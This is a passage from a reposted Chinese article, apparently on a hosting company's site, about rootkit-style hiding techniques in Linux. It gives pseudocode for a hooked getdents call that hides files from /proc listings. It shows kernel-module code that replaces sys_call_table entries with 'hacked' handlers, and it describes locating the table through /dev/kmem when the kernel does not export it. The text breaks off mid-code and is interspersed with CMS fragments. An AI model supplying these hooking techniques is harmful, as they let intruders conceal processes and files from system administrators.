快速业务通道

Linux操作系统下的高级隐藏技术详解

作者 佚名技术 来源 Linux系统 浏览 发布时间 2012-04-20
的伪代码表示:

  hacket_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)

  {

  调用原来的系统调用;

  得到fd所对应的节点;

  if(该文件属于proc文件系统&&该文件名需要隐藏)

  {从dirp中去掉该文件相关信息}

  }



  2.4 修改系统调用的方法

  现在已经解决了如何修改系统调用来达到隐藏的目的,那么如何用修改后的系统调用来替换原来的呢?这个问题在实际应用中往往是最关键的,下面将讨论在不同的情况下如何做到这一点.

  (1)当系统导出sys_call_table,并且支持动态的插入模块的情况下:

  在Linux内核2.4.18版以前,这种内核配置是非常普遍的.这种情况下修改系统调用非常容易,只需要修改相应的sys_call_table表项,使其指向新的系统调用即可.下面是相应的代码:

  int orig_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)

   int init_module(void) 

    /*初始化模块*/

     {

     orig_getdents=sys_call_table[SYS_getdents];    //保存原来的系统调用

Empire CMS,phome.net


     orig_query_module=sys_call_table[SYS_query_module]

     sys_call_table[SYS_getdents]=hacked_getdents;  //设置新的系统调用

     sys_call_table[SYS_query_module]=hacked_query_module;

     return 0; //返回0表示成功

     }

     void cleanup_module(void)

     /*卸载模块*/

     {

     sys_call_table[SYS_getdents]=orig_getdents;    //恢复原来的系统调用

     sys_call_table[SYS_query_module]=orig_query_module;

     }

  (2)在系统并不导出sys_call_table的情况下:

  linux内核在2.4.18以后为了安全起见不再导出sys_call_table符号,从而无法直接获得系统调用表的地址,那么就找到其他的办法来得到这个地址.在背景知识中提到了/dev/kmem是系统主存的映像,可以通过查询该文件来找到sys_call_table的地址,并对其进行修改,来使用新的系统调用.那么如何在系统映像中找到sys_call_table的地址呢?让我们先看看system_call的源代码是如何来实现系统调用的(代码见/arch/i386/kernel/entry.S):

  ENTRY(system_call)

     pushl
Empire CMS,phome.net

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号